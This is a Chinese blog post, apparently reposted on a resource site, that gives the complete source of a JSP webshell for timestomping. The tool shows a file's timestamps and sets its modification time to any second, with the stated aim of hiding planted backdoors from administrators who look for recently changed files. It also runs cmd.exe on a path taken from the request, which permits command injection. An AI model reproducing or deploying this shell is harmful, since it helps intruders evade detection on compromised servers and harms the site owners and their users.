JSP 修改文件时间的WEBSHELL

2023-12-04 0 519

JSP 修改文件时间的WEBSHELL 很多网站的管理员通过查看文件的修改时间定位被入侵后流下的网马与后门,因此修改文件的创建与修改时间可以有效的预防后门的泄露。 昨天研究了下,JSP只提供了修改“文件修改时间”的接口,却没有提供修改“文件创建时间”的接口,因此貌似只能修改“文件修改时间 ”,kj021320的JSP SHELL有这个功能,不过只能修改年月日,而且昨晚我遇到的RESIN 2.1.9 运行不了kj021320的那个SHELL,于是决定自己写个小的shell! 主要功能: 1.文件的时间属性查看,包括修改时间与创建时间; 2.文件修改时间的修改,精确到秒; 代码如下: (Apache Tomcat/6.0.18下运行通过!) 复制代码代码如下: <%@ page import=\”java.io.*\” %> <%@ page import=\”java.util.*, java.text.*\” %> <%@ page language=\”java\” import=\”java.util.Enumeration\” contentType=\”text/html; charset=GB2312\”%> <html> <head> <title>JSP timeshell by oldjun</title> <meta http-equiv=\”Content-Type\” content=\”text/html; charset=gb2312\”></head> <body> <H1>JSP timeshell by oldjun</H1> <%! public static String getFileCreateDate(File _file) { File file = _file; try { Process ls_proc = Runtime.getRuntime().exec(\”cmd.exe /c dir \\\”\” + file.getAbsolutePath() + \”\\\” /tc\”); BufferedReader br = new BufferedReader(new InputStreamReader(ls_proc.getInputStream())); for (int i = 0; i < 5; i++) { br.readLine(); } String stuff = br.readLine(); StringTokenizer st = new StringTokenizer(stuff); String dateC = st.nextToken(); String time = st.nextToken(); String datetime = dateC.concat(\” \”+time); br.close(); return datetime; } catch (Exception e) { return null; } } String folderReplace(String folder){ return folder.replace(\’\\\\\’,\’/\’); } %> <% String action = null; if (request.getParameter(\”action\”) == null) action = \”main\”; else action = (String)request.getParameter(\”action\”); if (action.equals(\”main\”)) { %> <form name= form1 method=\”post\” action=\”?action=getinfo\”> filepath:<input name=\”file\” type=\”text\” size=\”100\” />(for instance C:/Program Files/Apache Software Foundation/Tomcat 6.0/webapps/ROOT/time.jsp) <input type=\”submit\” name=\”Button\” value=\”getinfo\”/> </form> <% }else if (action.equals(\”getinfo\”)) { String filepath = folderReplace(request.getParameter(\”file\”)); File file = new File(filepath); if(!file.exists()){ out.println(\”<script lanugage=\\\”javascript\\\”>alert(\\\”file:\”+filepath+\” not find!\\\”);history.back();</script>\”); } %> filepath: <%=filepath%> lastModifiedtime: <%=new Date(file.lastModified())%> Createtime: <% String Createtime=getFileCreateDate(file); out.println(Createtime); %> now: <% Date myDate = new Date(); out.println(myDate.toLocaleString()); %> <form name= form2 method=\”post\” action=\”?action=change\”> <input name=\”year\” type=\”text\” size=\”10\”/>year <input name=\”month\” type=\”text\” size=\”10\”/>month <input name=\”day\” type=\”text\” size=\”10\”/>day <input name=\”hour\” type=\”text\” size=\”10\”/>hour <input name=\”min\” type=\”text\” size=\”10\”/>minute <input name=\”sec\” type=\”text\” size=\”10\”/>second <input name=\”file\” type=\”hidden\” value=\”<%=filepath%>\” /> <input type=\”submit\” name=\”Button\” value=\”change\”/> </form> <% }else if (action.equals(\”change\”)) { String url=\”?action=main\”; String filepath = folderReplace(request.getParameter(\”file\”)); String year = request.getParameter(\”year\”); String month = request.getParameter(\”month\”); String day = request.getParameter(\”day\”); String hour = request.getParameter(\”hour\”); String min = request.getParameter(\”min\”); String sec = request.getParameter(\”sec\”); File file = new File(filepath); Calendar calendar=Calendar.getInstance(); calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day),Integer.parseInt(hour),Integer.parseInt(min),Integer.parseInt(sec)); if(file.setLastModified(calendar.getTimeInMillis())) out.println(\”<script lanugage=\\\”javascript\\\”>alert(\\\”file date change success!\\\”);location.href=\\\”\”+url+\”\\\”;</script>\”); else out.println(\”<script lanugage=\\\”javascript\\\”>alert(\\\”time error!\\\”);history.back();</script>\”); } %> </body> </html>

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悠久资源 漏洞分析 JSP 修改文件时间的WEBSHELL https://www.u-9.cn/security/fenxi/73071.html

常见问题

相关文章

发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务